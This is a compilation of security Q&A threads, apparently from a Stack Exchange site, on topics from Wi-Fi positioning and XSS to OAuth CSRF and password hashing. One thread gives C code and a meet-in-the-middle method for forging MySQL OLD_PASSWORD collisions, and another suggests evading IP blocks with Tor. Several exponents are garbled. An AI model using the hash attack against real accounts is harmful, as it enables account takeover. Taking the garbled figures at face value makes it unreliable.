How do WPS (Wi-Fi Positioning System) databases have the MAC Addresses of the networks? It is known that another way to determine the position is through WPS (Wi-Fi Positioning System). This uses the Wi-Fi networks available in the area, if any, to dermine the position. But according to this, it requires that the network had been previously gathered and stored in a database through a process called wardriving, it stores the SSID and the MAC Address, so I was wondering how it is possible that this wardriving applications can obtain the MAC Address of the Wi-Fi network (access point)? Is it possible to obtain it even though your network is password protected (WEP, WPA2, etc)?

Wardriving is now out of date, if you're a corporation that sells phones. Google used to perform wardriving with their Street View trucks, but they no longer do. You might describe the modern tactic as "distributed war-usering". A ZDNet article entitled "How Google--and everyone else--gets Wi-Fi location data" describes the process:

  How it works, according to Google, is that the Android Location Services periodically checks on your location using GPS, Cell-ID, and Wi-Fi to locate your device. When it does this, your Android phone will send back publicly broadcast Wi-Fi access points' Service set identifier (SSID) and Media Access Control (MAC) data. Again, this isn't just how Google does it; it's how everyone does it. It's Industry practice for location database vendors.

To describe a simple case: your Android phone has GPS and Wifi turned on. Your phone sends a message to Google saying, "I am at long/lat location (X,Y), and I can see two Wifi networks; one with SSID Foobar (with MAC 11:22:...) and another with SSID Bazzle (with MAC address 33:44:...)." Google uses this information to learn that networks with those particular SSIDs and MACs are near geographic location (X,Y).

Thus, when a user without GPS wants to know his location, his phone can say to Google, "I see Bazzle with MAC 33:44:..." and Google can respond that he is probably near location (X,Y).

EDIT

The MAC address of an access point is no more private than its SSID. Wifi encryption can protect the information above the media-exchange level, but currently no Wifi protocols encrypt the Level 2 communication. The advertised MAC addresses of participants in any Wifi communication is public information to anyone nearby.


What attack vectors does arbitrary JS on a user profile allow? Consider a site for frontend devs/designers to host their portfolio apps - pages with arbitrary JS, each hosted on a user's separate profile.
What attack vectors would that enable against the site? Some suggestions and comments:

Defacing the site (user's own profile, not interesting)
Phishing (by rewriting the UI to ask for credentials while using the safe domain)
Credential theft of user logged-in users, by pulling auth cookies (irrelevant if auth cookies are HTTP-only?)
Request forgery (by triggering a POST request from within the approved domain)

What you're describing is just XSS.
Alice and Bob both use example.com. Untrusted script is added by Alice into her profile page, and executed by Bob's browser upon visiting Alice's profile.
It doesn't matter whether example.com intendes to allow Alice to inject arbitrary script into Bob's page view, or if Alice discovers an XSS that allows her to do so, the result is identical, it's a simple stored XSS.
Don't do this, unless each site runs on its own origin (ie alice.example.com and bob.example.com) and Same Origin Policy prevents profiles from attacking each other.
Lots of sites do do this, for example Shopify, but every shop runs on a user-specified domain or subdomain.
Enumerating every type of thing an XSS can do is probably outside the scope of this site. Yes, the obvious things like request forgeries apply, but there is an ever-growing list of features that browsers support. If Alice tries to attack these features, they often require permission, but example.com may have already prompted Bob for permission for legitimate reasons, giving Alice free rein.

Is there a big blob of sensitive data stored in localstorage that Alice can steal from Bob via her profile JS?
Has Bob authorized example.com to use his webcam to take a profile photo? Maybe Alice can activate the webcam and surreptitiously record Bob.
Has Bob allowed example.com to use notifications? Alice can spam Bob with bogus notifications
Has Bob allowed the example.com to read his device's GPS? Alice knows where Bob lives.

The list is as long as the list of available browser features that example.com my have tried to make legitimate use out of.


In Algorithm: dh-ietf1024-sha256-aes128-cbc-pkcs7 where to get the IV? I'm implementing dh-ietf1024-sha256-aes128-cbc-pkcs7 in golang and according to documentation I've managed to create the 128-bit key appropriate for AES (from my 1024-bit shared-key computed from my private key and clients public key).
API function input is just algorithm name and client public key. And for using AES I need to use the same IV that my client uses (am I correct?).
The question is where this IV comes from?

DH key agreement [rfc2631] is used to create a secret key using 1024 bit parameters of the standard IETF 'Second Oakley Group' [rfc2409].
The secret key is then digested into a 128-bit key appropriate for AES.
This is done using HKDF [rfc5869] with NULL salt and empty info, using the SHA-2 256 hash algorithm [fips-180-3.2008].
-The secrets are encrypted using AES [fips-197.2001] in cipher block chaining mode with pkcs7 style padding [rfc2315].

Short answer

Start Diffie-Hellman key exchange (DJKE) to agree on a key K
Both sides uses HKDF to derive the symmetric key k of the required side.
Generate random IV by using /dev/urandom or better methods.
Encrypt message c = AES256-CBC( k, PKCS#7padding(m) )
Send |IV and |c to the other side.
The other gets the IV and c, and
Decrypts m = AES256(k,c) and checks the PKCS#7 padding.

The usual practice is prepending the IV to ciphertext like a bundle |IV|ciphertext| and send it to the receiver. Encoding base64 of the bundle is advised.

Long answer
CBC
While using the CBC mode with AES you must consider this;
Your obligations:

You must choose a 256-bit secret key k uniformly at random. You must keep it secret all the time.
In your case DH generates this.

Make sure that your messages are always an integer multiple of 128 bits long. To satisfy this you can use PKCS#7 padding and be aware of padding oracle attacks.

If a key k is reused for multiple messages, you must choose a 128-bit initialization vector that is (a) unique and (b) unpredictable in advance.
4 The total data length must not be past 260 bytes of data using the same key k.

You must not send more than 248 messages using the same key k.

In return, AES-CBC guarantees against an adversary who can adaptively influence plaintexts sent by Alice and Bob.
CBC mode has Ind-CPA security means the adversary cannot distinguish the ciphertexts of two equal-length messages even they choose the messages. Therefore they cannot read messages chosen by Alice or Bob.
If you violate the unique in your obligations, then the adversary can detect that a message is sent again. The random IV provides probabilistic encryption to mitigate this.
If you violate any other, the security properties provided by AES-CBC will be lost.
DHKE
The 1024 bit DHKE is not considered today's standards. For the equivalent of 128-bit symmetric security, you should use at least 2048-bit by ANSSI's approximation. See on keylength.com
DHKE exchange provides forward secrecy, in order to achieve that both sides must delete the keys upon decryption. If the keys are kept keys at least one side and that side is attacked then the attacker can read the previously recorded sessions. This validates the forward secrecy.
HKDF
HKDF has these parameters
`k = HKDF( salt, IKM, info, L)

where IKM is the input key material that comes from the output of the DHKE in your case.
info can be used for a generation multiple keys from a single IKM.

In your case salt is NULL and info set to empty string.


Are virtual "canary" systems used to detect malicious programs? I was wondering if malicious programs are detected using a virtual system.

For example a "canary" system would be set up in a virtual environment then unknown and untrusted programs would be executed in it, the operation of the unknown program would be highly scrutinized for signs of malicious activity.

Could the virtual environment be safely sand-boxed to prevent infection of the host system? Is this method used and is it practical in practice? what is the name of this method? what are some examples of this method being used?

The colloquial term for that is honeypot. A honeypot system must be attractive for the attacker, but otherwise constrained so that it does not help the attacker in his nefarious schemes. This is a rather delicate balance. For instance, a honeypot to trap spammers must look as if it could serve as relay for tons of spam, but preferably not allow much spam (or any) to actually be sent.

Virtual machines are a method to make several systems share the same hardware, and yet be (nominally) isolated from each other. Escaping from the VM is normally impossible, unless the VM engine has a security hole, and existing VM engines do have security holes, so hosting a honeypot in a VM is somewhat risky. It is understandable that, for a honeypot, you want something cheap (it will not contribute much to your business, after all), and a VM is usually cheaper than a physical server. But it is really safer to use a physical machine as honeypot, with good network separation (explicit firewalls, no VLAN...). On the other hand, a VM can be snapshot, which is very convenient for post mortem analysis.

The main point of a honeypot is to serve as an observation deck to learn what kind of attacks are in vogue. Companies who write botnet detection systems run honeypots to have botnets to observe under controlled conditions.


How can a manager delegate work to their PA if password sharing is not authorised? Everyone talks about the importance of delegation. But how can a manager delegate work if password sharing is verboten under the organisation’s IT Security Policy? This means that the PA would have no access to his email account, no access to cloud storage accounts and many other information sources etc. This set-up I imagine would make the delegation of work difficult if not impossible?

In many e-mail systems, one can delegate another to act on their behalf.  So Pat, the secretary, can send mail on Terry (the boss) behalf.  In Outlook, for example, the email says "from Pat on behalf of Terry".    Additionally, cloud storage and other accounts can have multiple permissions on accounts/directories, access. So Terry can grant Pat access to any directory desired.  Of course Terry should be careful to not grant too much access, lest Pat get access to Terry's personal files, which quite often contain subordinate payroll information and other confidential documents that no one else should see.

This type of delegation has happened in every company I've ever worked for, and I'd imagine that any IT person who's been in the business for a short time would know how to handle delegation.  That way you still have traceability from shared access without sharing a password.

Think of it this way: suppose Pat could just log into Terry's e-mail.  Then an e-mail comes out: Pat has done a fantastic job.  HR: please immediately send me paperwork granting a 10% raise.  Who sent it?  You can't prove anything; both parties deny it.  By using delegation, we can see that Pat has indeed done a fantastic job and deserves a nice pay bump.


Good password hashing algorithm compatible with PHP and Linux apps I'm looking for a password hash method for a new server system. The hashes must be generated from PHP code and verified from PHP as well as by a number of applications on a Linux system.

I know that plain or salted MD5 and SHA-1 are not a good solution. I hear that sha256crypt and sha512crypt should be okay today. I once read that the sha2crypt algorithms are now very easily cracked, rendering them useless. I often hear bcrypt recommended. But there's also been multiple issues with bcrypt by now. $2$ doesn't seem to be relevant anymore, but $2a$ and $2b$ are incompatible as I understand it. And at least PHP has a strange understanding of fixing things by reusing the $2a$ prefix for the $2b$ algorithm, making it incompatible. I don't know what $2x$ and $2y$ stand for. PBKDF and scrypt don't seem to be supported by anything so I can't use those.

PHP can generate bcrypt hashes with the password_hash function, but it doesn't seem to be able to create sha256crypt or sha512crypt hashes, neither with password_hash nor crypt which will decide on its own what algorithm to use. I want to specify the algorithm because not all applications support any algorithm.

For now the sha512crypt algorithm looks most promising, considering compatibility first, then security. (A super-secure thing that simply does not work is still useless.) But PHP can't generate those. Am I stuck with crypt() using SHA-1 again? (That's what it does: $1$)

The OS is Ubuntu 14.04 and the applications are exim, dovecot and proftpd for now. PHP version is 5.5.9.

So what should I do? I'm fully confused by everyone right now.

I don't really understand the limitations you have with 3rd party applications, but I'll address the question you asked.

Instead of focusing on "which algorithm should I trust forever?", you should make your hashing system up-gradable.  SSL was invented 20 years ago, and one of the strengths of SSL was that the ciphers were designed from the start to be replaced as new attacks became apparent.  As we've seen recently, many ciphers suites have been broken and retired, but SSL itself continues on because it was designed to change.

This isn't terribly difficult.  You only need to store the hashing algorithm along with the hash.  If a flaw is discovered in a hashing algorithm, change the hashing algorithm you use for new or changed passwords, and the next time a user successfully authenticates, re-store the hash with the new hashing algorithm.  Over time users will be upgraded to the new hash.

MD5 and SHA1 are considered broken and shouldn't be used in new hashing implementations.  SHA256 and SHA512 are currently well trusted algorithms.  I'm not sure what problems you have with finding support for them in PHP, but it looks like they're both directly supported using the crypytography extension.  http://php.net/manual/en/function.hash-algos.php

Otherwise I'm sure you can find a library somewhere that supports them.

The other standard precautions are advised.  Be sure to use at least 128 bits of randomly generated salt for EACH hash stored.  You might consider adding "pepper" to, which is a single salt stored in a place separate from your hash.


Protection against tampering Recently, I have downloaded a game from Steam. I wondered whether it was somehow possible to alter the data of the game and replace it with malware without the computer it was sent to noticing. Basically, is it likely that I became a victim of a MITM attack? And is the method of checking for time delay to detect tampering effective? And what about other ways of not allowing changed incoming traffic?

Rephrasing your questions a little:

  Is it possible to alter the data of the game and replace it with
  malware without Steam's servers noticing?

It is possible.

  Is it likely?

No, for the reasons listed in the "other ways" section.

  Can time delay be used to detect tampering?

No. Networks are unreliable, so this would create too many false positives.  Also, in order for this Man-in-the-Middle attack to work at all to replace a specific game, the attack needs to be prepared beforehand.  In the extremely unlikely chance that it's attempted, you would probably get the maliciously doctored game faster than you'd get an original copy.

  Other ways to prevent this attack?

Use TLS (SSL) to encrypt the data as it is being sent to you. An attack would have had to have already compromised your computer to be able to decrypt and change the data while it's being sent to you.
Verify the file's integrity; that it is the right size and the right hash can be calculated from it.

Steam already does both of these things, and can be directed to re-check the files after installation as well.  The way to beat the file integrity check is, again, to already have malware on your computer that is showing you intentionally incorrect data.

Essentially, unless you're a target of a State-Level Actor (CIA, MI6, etc.), someone did not swap your game with malware while you were downloading it.  You would know if you were already such a target.


MySQL OLD_PASSWORD cryptanalysis? The password hash used for MySQL passwords prior to version 4.1 (now called OLD_PASSWORD()) seems like a very simple ad-hoc hash, without salts or iteration counts.  See e.g an implementation in Python at
Django snippets: Old MySQL Password Hash

Has it by cryptanalyzed?  Broken?

All I see on the web is brute-force attacks.  These are very successful for short-to-medium length passwords as one would expect.  Though I also wonder if brute force on this ad-hoc algorithm are slower than attacks on the newer PASSWORD() function which simply uses SHA1 (twice), since I assume there is more widespread hardware acceleration support for SHA1.  See more on flaws and attacks on MySQL passwords at Looking for example of well-known app using unsalted hashes

I am not aware of any published cryptanalysis on MySQL OLD_PASSWORD(), but it is so weak that it is kind of a joke. It could be given as an exercise during a cryptography course.

Update: a cryptanalysis similar to the meet-in-the-middle described below was published in F. Muller and T. Peyrin
"Cryptanalysis of T-Function-Based Hash Functions"
in International Conference on Information Security and Cryptology - ICISC 2006  in 2006, with a more generic description, and some optimization to find short passwords and keep in RAM.

For instance, here is a C code which "reverts" the internal state:

static int
oldpw_rev(uint32_t *pnr, uint32_t *pnr2, uint32_t add,
        unsigned char *cc, unsigned len)
{
        uint32_t nr, nr2;
        uint32_t c, u, e, y;

        if (len == 0) {
                return 0;
        }

        nr = *pnr;
        nr2 = *pnr2;
        c = cc[len - 1];
        add -= c;

        u = nr2 - nr;
        u = nr2 - ((u << 8) ^ nr);
        u = nr2 - ((u << 8) ^ nr);
        nr2 = nr2 - ((u << 8) ^ nr);
        nr2 &= 0x7FFFFFFF;

        y = nr;
        for (e = 0; e < 64; e ++) {
                uint32_t z, g;

                z = (e + add) * c;
                g = (e ^ z) & 0x3F;
                if (g == (y & 0x3F)) {
                        uint32_t x;

                        x = e;
                        x = y ^ (z + (x << 8));

                        x = y ^ (z + (x << 8));
                        x = y ^ (z + (x << 8));
                        nr = y ^ (z + (x << 8));
                        nr &= 0x7FFFFFFF;
                        if (oldpw_rev(&nr, &nr2, add, cc, len - 1) == 0) {
                                *pnr = nr;
                                *pnr2 = nr2;
                                return 0;
                        }
                }
        }

        return -1;
}

This function, when given the internal state after the len password characters given in the cc[] array (nr and nr2, two 31-bit words, and the add value which is the sum of the password characters), computes a valid solution for nr and nr2 before the insertion of the password characters. This is efficient.

This leads to an easy meet-in-the-middle attack. Consider the sequences of 14 lowercase ASCII letters, such that each letter is followed by its complement (the complement of 'a' is 'z', the complement of 'b' is 'y', and so on...). There are about 8 billions such sequences. Note that the sum of the characters for any of those sequences is always the fixed value 1533. Take N of those sequences; for each of them, compute the corresponding hash with OLD_PASSWORD(), and accumulate the values in a big file: each entry contains the sequence of characters, and the corresponding nr and nr2. Then sort the file by the 62-bit nr/nr2 pair. This file is a big table of: "using this sequence, we get from the initial values to that internal state".

Then takes the N sequences again, and this time use oldpw_rev() (as shown above) for each of them, using the actual attacked hash as starting point for nr and nr2, and 2*1533 == 3066 for add. This will given you N other pairs nr/nr2, each with a corresponding sequence. These values are accumulated in another file, which you again sort by 62-bit nr/nr2 pair. This second file is a big table of: "using this sequence on that internal state, we obtain the hash value which we are currently attacking".

At that point you just have to find two matching pairs, i.e. the same nr/nr2 in the first file and the second file. The corresponding 14-character sequences are then the two halves of a 28-character password which matches the hash output. That's probably not the password which was used in the first place, but this is a password which will hash to the same value and will be accepted by MySQL. Chances are high that you get a matching pair when N reaches 2 billions or so (we are in a space of size 262, so it suffices that N is on the order of sqrt(262)).

This attack has work factor about 237 (accounting for the sorting step), which is vastly smaller than the 262 work factor that could theoretically be achieved with a hash function with a 62-bit output (which is already too low for proper security). Thus, the OLD_PASSWORD() function is cryptographically broken.

(There are probably much better attacks than that.)


How to safely display external pictures? i want to write (and currently writing) a php script to display external images, not hosted on my website. Something like facebook's safe_image.

What I'm currently doing is file_get_contents('pic') (or curl) the url and checking for httpcode and content-type, resulting in a 404 or whatever other code if content-type differs from 'image/jpeg', 'image/png', 'image/gif' (these are the only mime types i'm allowing), otherwise a 200 or 304.

But I've read a lot of posts saying that a picture might contain malicious code, maybe in their exif header.
Now, I'm not using include() to show pictures and always do a mywebsite.com/safepic?url='.urlencode('external_picture_url') in php or 'mywebsite.com/safepic?url='+encodeURIComponent('external_picture_url') in javascript.

So, if the content type returned from curl matches that of a valid picture, I run a getimagesize(), but I'm sure this is not enough, I also force the content type to be image\something but don't think this make sure the file is 'executed' as a picture and prevent the malicious code bytes to be recognized.
I also thought about doing all these checks and a lot more (like trying to resizing to check if it is really a picture, and creating a whole new picture through imagecreatefromjpeg based from that one).

Got any ideas ?

EDIT, i removed the part where i said i was concerned about license when saving external pictures, as somebody didn't understand i was just doing a self consideration and not asking a question. I removed it before getting downvotes.

I think the most important of this question is breaking the paradigm: "Images are innocent". Images are not innocent, and are very dangerous, take a look on this article: "Stegosploit hides malicious code in images, this is the future of online attacks".

The short answer is: Creating a new image file and storing it in a static environment, without execution permissions is a safe way to display eternal picture. But I would like to go a little deeper.

The method described above is used by Facebook, and other sites with Twitter and Google plus. When you share an image link, they create a kind of "proxy" to protect your page from external intervention. Keep in mind that malicious code could be a javascript sending all key press events to a host to capture information like your credit card numbers with secure code, your password or something else.

For example, Google plus creates a new link to access this file:

https://lh3.googleusercontent.com/proxy/X2NOfJnTtrux8w_5sczYpXHckBLOYKCTJj3p3Zhpf6bnreayAnU7bMNGrHpjvRmfDHWP9oMln_Od5Oxdilarc8AACg=w346-h192

This method is more expensive because you need the proper infrastructure to store this image.

Services like Imgur can provide a safe API to upload file with safety in low costs. This image below is the same image used in my example (end of this answer), the Imgur creates a new image removing all disposable content.

A few months ago I got a problem, I have a website with a service that allowed people publish your image and put it just to use your external links. One day, I discovered a lot of images used to create a kind of DDOS attacks, every visitor redirects the access to a domain, that domain has a lot of other "iframes" redirecting their views.

I'll share a piece of this code, if you can give any contribution to it, please do it..

$filename = "http://s13.postimg.org/f7728bnqv/php_logo_virus.jpg"; //Unsafe image in a external hosting(this file executes a php_info();)

/* Remove path information and dots around the filename, to prevent uploading
 * into different directories or replacing hidden system files.
 * Also remove control characters and spaces (\x00..\x20) around the filename:
 *
 */
$safefilename = trim(basename(stripslashes($filename)), ".\x00..\x20");

/Try to get possible reall extention by imagem type

$tempSafeFile = tempnam(sys_get_temp_dir(), "JLC"); //Create a Temp File to store content in a static env.
//Must have PHP GD lib do execute Details: http://php.net/manual/en/book.image.php
switch (exif_imagetype($safefilename)) {
    case IMAGETYPE_JPEG:
        $safefilecontent = imagejpeg(imagecreatefromjpeg($safefilename), $tempSafeFile, 100); //Get only file content created a new image and storeing it on my tempfile
        $extensions = array('jpg', 'jpeg');
        $mime = "image/jpeg";
        break;
    case IMAGETYPE_PNG:
        $safefilecontent = imagepng(imagecreatefrompng($safefilename), $tempSafeFile, 100);
        $extensions = array('png');
        $mime = "image/png";
        break;
    case IMAGETYPE_GIF:
        $safefilecontent = imagegif(imagecreatefromgif($safefilename), $tempSafeFile, 100);
        $extensions = array('gif');
        $mime = "image/gif";
        break;
    case IMAGETYPE_BMP:
        $safefilecontent = image2wbmp(imagecreatefromwbmp($safefilename), $tempSafeFile, 100);
        $extensions = array('bmp');
        $mime = "image/x-MS-bmp";
        break;
    //There is a lot of other image types... I use this 4 just for a example
    default :
        throw new Exception("May its a unsafe image file!",500,null);
        break;
}

// Adjust incorrect image file extensions:
if (!empty($extensions)) {
    $parts = explode('.', $safefilename);
    $extIndex = count($parts) - 1;
    $ext = strtolower(@$parts[$extIndex]);
    if (!in_array($ext, $extensions)) {
        $parts[$extIndex] = $extensions[0];
        $safefilename = implode('.', $parts);
    }
}

//Now you can save, move, store this file in a safe place or just display it:

header("Pragma: public");
header("Expires: -1");
header("Cache-Control: public, must-revalidate, post-check=0, pre-check=0");
//header("Content-Disposition: attachment; filename=\"$safefilename\""); //Download instead
header("Content-Type: " . $mime);
echo file_get_contents($tempSafeFile);
exit;

Full code here: https://gist.github.com/LeonanCarvalho/8064a5d66b990b1dafc9

We know that there are no miracle cures, but you can hinder the discovery of the breach.
With my negative experience I could observe the following good points to make the external display safest images:

Create a new image file based on previously
Store the file in a safe, static environment, separate from the application environment.
Use external services to store a new image.
Limit image size. Large injected codes may create a "large file"
Remove Image metadata and Use some image compression resource
Check mime type
Use a proxy service (Here 2 good projects: https://github.com/atmos/camo  & https://github.com/willnorris/imageproxy)


How to avoid a bot getting caught? I'm making a bot to scrape data from a website for study purposes. But I don't want them to catch it and block my ip. Basically what I do is scraping few images and few lines of texts.(using dom and html parsing with regex :- I know It's horrible , but this is for a simple set of webpages) What I already tried is running the bot in 2-3 minutes time intervals and scrape few data and turn off, will that be enough to not getting caught? Else , what should I do ? Most importantly what is your idea of making a bot which is not going to get caught.

important

This is just for research and study purposes , not violating the site's security policies .

Im just worried about if they see my unusual bot traffic and block my ip .

*trust me my bot is innocent *

You could route your traffic through Tor. If you get blocked, you can simply change to a new virtual circuit with a different exit node. You could achieve this by integrating a Tor client library into your scripts, e.g. libtor. You could also set your system's HTTP proxy to a local SOCKS proxy capable of connecting to Tor. Some good options have been discussed on SuperUser.SE. This could fail if the servers can detect and block connections from the Tor network.

Other than that, you could try routing your traffic through a plain old HTTP proxy or VPN. Even this could fail if your script has a particular user agent fingerprint that can be identified and blocked.

You could also access pages through Google's internet cache or the Internet Archive. You may be able to cleverly use Google queries to do your scraping for you, sidestepping your concerns entirely.

Any attempt to evade detection will slow your crawling, possibly a lot. Tor will be very slow. Furthermore, this is arguably a malicious use of Tor. However, this method could be ethical in the case of a legal penetration test in which you attempt to simulate attackers.

Ultimately, you aren't engaging in a penetration test, so evading detection is not really necessary. If you're worried about being blocked, you could talk to the site owners and seek their permission to crawl the website. Perhaps they don't care, as is usually the case with publicly available websites.


Adblock to prevent employees from accidentally clicking malicious ads Our Company allows browsing without restriction such as news, fb, twitter, blogs etc.

Would it make sense to have employees install Adblock or similar plugins to prevent (accidentally) clicking malicious ads?

If not, what are common measures exist apart from standard employee awareness training.

Not needed but Its generally a good idea, malwaretising is quite common nowadays, plus most of users will probably appreciate the lack of ads. However, it may not prevent any infections at all if you have other things setup correctly (sandboxing, not using flash and java in browsers etc.)

But instead of forcing users to install them you can use stuff like Firefox ESR with CCK2(http://decentsecurity.com/enterprise/#/ublock-for-firefox-deployment/). Which would be a cleaner options.


Do I need CSRF protection in this setup with a REST API backed with oauth2 and a basic auth SSO auth server? I've seen the answer Is CSRF possible if I don't even use cookies? but there are 2 conflicting answers and the question itself doesn't provide that much information either.

I am creating a REST API that will be used by a web client (of our own creation) running on another domain, so we will be doing CORS requests. This API runs as an oauth2 resource server, so access is restricted by access tokens which are passed in the authentication header. We do not have any cookies there, everything is stateless. I am following the advice in the article at https://spring.io/blog/2011/11/30/cross-site-request-forgery-and-oauth2

We will use SSL
We have pre-registered redirect uri's
Our only grant type is authorization code, without requiring a client secret (as the web client source is public) instead of the implicit grant type, as per the recommendations on https://oauth.net/2/grant-types/implicit/
The client authenticates with a header when it does actual resource server calls
Obtaining the access token is done by passing the 1-time authorization code in form parameters (x-www-form-urlencoded), which seems to be the normal way, shouldn't get stuck in browser history as it's not a query parameter.
The client will also use some secret state parameter when getting the authorization code. In this case I'm not sure there is a point since the client does not depend on a secret to get an access token by exchanging a code anyway.
For the oauth/token endpoint where you actually get an access token, the only allowed origin is the domain of our web client
For the oauth/authorize endpoint, CORS is not allowed. Perhaps this is excessive since the redirect uri would only point back at our own domain anyway?

I think that covers pretty much everything on that side.

Now there IS another possible attack vector in the form of the oauth2 authentication server itself, which is supposed to be SSO and does have sessions and is accessible with basic auth. However, there do not seem to be any actions you could take with a csrf attack that would actually be useful. You could do a request to these oauth endpoints but you would have to be able to read the result, which is prevented by the CORS configuration and the fact the redirect uri's are pre-registered. There is no POST you can do there to change your password, reset your email address, et cetera, all those things are actually also exposed as a resource server.

Am I missing anything? How would you go about probing for vulnerabilities here?

To answer your initial question: you do not need to implement CSRF counter-measures on your resource server, if you are not using cookies (sessions) and you are not using basic authentication within the browser.

Cookies and the Basic authorization header are stored by the browser for every domain name you visit, and every time you send a request to a site, the saved cookies and Basic authorization header are automatically added to the request headers.

Since you are using an access token, and presumably sending it using Authorization: Bearer <token>, you should be secure. Your browser does not know how to handle this kind of authorization and that is also why you have to manually add this header in every request.

Redirect URIs

You are using pre-registered redirect URIs, which is recommended by the OAuth 2.0 standard. This ensures that your authorization server only sends authorization codes to sites that you trust.

It is important that your redirect URIs are using a secure scheme, such as HTTPS, otherwise you are vulnerable to a MITM attack.

Exchanging authorization code for access token

Your site is receiving an authorization code through a query parameter, when you are redirected back from the authorization server. Most likely, you are immediately exchanging the authorization code for an access token, which should revoke the authorization code afterwards.

The state parameter should be used here to prevent CSRF attacks, e.g. by sending a random value to the authorize endpoint, and checking that you are receiving the same value with the authorization code. In a SPA, you could save the random value in local storage i.e.

In a SPA, you have to worry less about this, than e.g. in a stateful server-side web application. What happens, if an attacker redirects you to the authorize page, from his own web page? You end up in your own SPA, where the attacker should not be able to continue.

In a stateful server-side application, it's possible that by doing this authorization, you will actually link accounts together, and things can start happening. (Depending on the application, of course.)

CORS on token endpoint

First off, CORS is only checked by your browser, so you must not rely on it to stop an attacker from using your token endpoint.

To circumvent CORS here, all an attacker would have to do, is to create a proxy endpoint, which just sends the request to your token endpoint.

Moreover, the token endpoint only works if it receives a valid authorization code.

CORS on the authorize endpoint

Normally, you would redirect your users to the authorize endpoint, where they would (sign in and) click an authorize button, granting access to the application.

Without CORS, a likely attack is that an attacker can create his own site, where he uses XHR/fetch to retrieve your authorize page. And assuming that the user is signed in (statefully) on your authorize page, he would be able to click the authorize button, without the user's consent.

There is no scenario where it is necessary to use XHR/fetch to retrieve the authorize page. So you can safely block it with CORS.

Authorization server

If your authorization server is stateful, as you write, then you should implement CSRF protection whenever you perform an action that can change something. It's best practice to do this in general, and if you add an update password function in the future, you already have the necessary code to protect against CSRF.

Recommendations

It sounds like you understand the OAuth spec. and it looks like you are doing what you are supposed to.

The obvious recommendations are to use HSTS with preloading (and HPKP), to prevent MITM attacks.
Ensure that your authorization codes are short-lived and can be used only once. They do not need to be valid for very long, in normal scenarios it is used immediately after being granted.
Do not store final access tokens, refresh tokens, authorization codes in your database. Instead store an identifier (e.g. 64 bytes of random), and issue a signed version (e.g. JWT). This prevents attackers from extracting access tokens from your database, since the attacker cannot use it anyway.
Use a standard implementation of OAuth, don't roll your own.


Is it possible for an attacker to redirect a packet sent by a client, modify it then sent to original server Theoretical question: Is it possible, or will it ever be possible, for an attacker to sniff/intercept it and redirect a packet, sent from a client through wireless, modify it and then sent to the original intended server address with different values?

If so what are the ways to prevent it from happening or protect our data sent through wireless networks? Would it be using routers or Wireless external cards with better encryption measures?

For example, a packet telling X website that I want to write a text (Would it be possible for an attacker to sniff those packets, intercept it before reaching the destination and change the original text?). Or, a packet from an online client game where I'm playing telling the server that I got 100 health (Would it be possible for the attacker to change this packet before reaching its destination and modify it telling instead that I've got 0 health and then send to the server with modified values)?

Yes, it's perfectly possible. The answer is to use encrypted connections, since encryption protocols such as TLS/SSL and SSH will stop the attacker from seeing what's in the packets, and also allow the server to detect and reject any changes from what was sent by the client.


Link Layer authenticated encryption vs authentication Many security articles discuss about adding an extra layer of security at the link layer by either

authenticating the data at the link layer
authenticating and encrypting it.

If we have encryption enabled at the application layer, what is the point of using authenticated encryption at the link layer vs only having authentication. I see the point of encryption useless at this point as it adds additional delays and adds some burden to the processor.

What is your say on this?

I can think of a few benefits of authenticated encryption at the link layer over pure authenticity:

Enforces confidentiality on any traffic you might have forgotten to use application-level crypto on, e.g. database connections.
An additional level of hardening against replay attacks (harder to select target packets)
Hides sensitive information in higher-level protocols, such as sequence numbers in TCP.
Helps hide network topology when enabled network-wide, as IP addresses are hidden.

Keep in mind that these are rather tenuous though, and application-layer encryption should be sufficient when you've got link-layer authenticity enabled.


AES Keys Storage for encrypting hashes of SAM file in Windows 10 Hashes of user account passwords in Windows 10 (like in older versions) are stored in SAM file. Using standard utility pwdump 7 for getting these hashes gives following result:

::LM hash : NTLM hash

But these hashes are encrypted with AES 128. I wonder where I can found AES keys for encrypting these hashes and how I can retrieve them?

The AES Key to decrypt the Double Encrypted Hash is derived from the “SysKey”, which is in itself also AES encrypted.


What are the risks of a localhost signed cerificate? In our company we have an internal CA certificate for signing various things including the proxied (MITM'd) HTTPS connections.

Suppose we use this CA to sign a key for "localhost" for use in automated testing (so we don't have to mess about with custom Firefox profiles). This key would be distributed to the developers, probably by checking it into the source repo.

What are the dangers of this approach? Suppose an attacker stole the key, and could then sign localhost HTTPS. What could they do?

With such a certificate, any system who trusts your internal CA will trust a server running on "localhost" as being genuine, i.e. running really on "localhost". But "localhost" can be reached, network wise, only locally, so if your client successfully connects to https://localhost/whatever then it already knows that it is talking with the local machine. Therefore, no extra security issue.

Of course, the certificate only authenticates the host name. It says nothing about whether the server is malicious or benign, only about who the server is.

Mind, though, that if someone modifies the local "hosts" file, then accesses to "localhost" could be redirected elsewhere -- but someone who can do that on your machine already owns it and could insert his own rogue CA in your trust store anyway.


Attack Metasploitable using Nessus For my computer security class I have to prepare a malicious attack using Tenable Nessus security scanner. The scanner and target, which is Metasploitable2, both have been installed on separate virtual machines. Everything works just fine, Nessus scans the target and renders a report. Is there any Nessus' plugin to do damage to Metasploitable2 (not to my computer, of course)? So far all the vulnerability I could find was the ones that could be used by attacker, but I need some attack to be done using Nessus itself. I would be grateful for any advice, thank you.

Nessus is a vulnerability scanner, it's job is to find what vulnerabilities may be present in a target system.  It does not actually perform the attack itself (except by accident if it were to accidentally DOS the target with an unsafe check).

Instead you should use to the results of the Nessus scan to use other tools, like Metasploit to perform the attack


Is it possible to send encrypted data over an unencrpted network while hiding the fact that it is encrypted? As far as I understand, it is possible to send encrypted data over unencrypted network protocols, such as HTTP; however, it would look really suspicious if encrypted data were sent through an unencrypted network. So, I was thinking about encrypting the data (a text file, for instance) locally and then send it through HTTP. Now, my question (or questions) is:

If someone were to inspect the data sent over the network, would they know that it was encrypted? If so, what would be a way to make the encrypted data look like unencrypted data (for example, if the text said: "Hello World," the intruder would read something like: "Not a secret")

Please, correct me if I haven't quite understood how encryption works as I have no real experience with it besides encrypting my hard drive.

Yes, this is known as steganography. In order to hide the encryption, it requires a lot of background "noise" which is itself a decoy signal - so the cyphertext is much larger than the clear text. A common method for acheiving this is to hide a text message inside an image.

There are several examples on github


HTTPS login vs MITM attack http://www.troyhunt.com/2013/05/your-login-form-posts-to-https-but-you.html

My question is, if the threat is that someone controls your internet connection and can serve up bad login pages, couldn't the attacker just serve you a page like facebook.com instead of https://www.facebook.com?

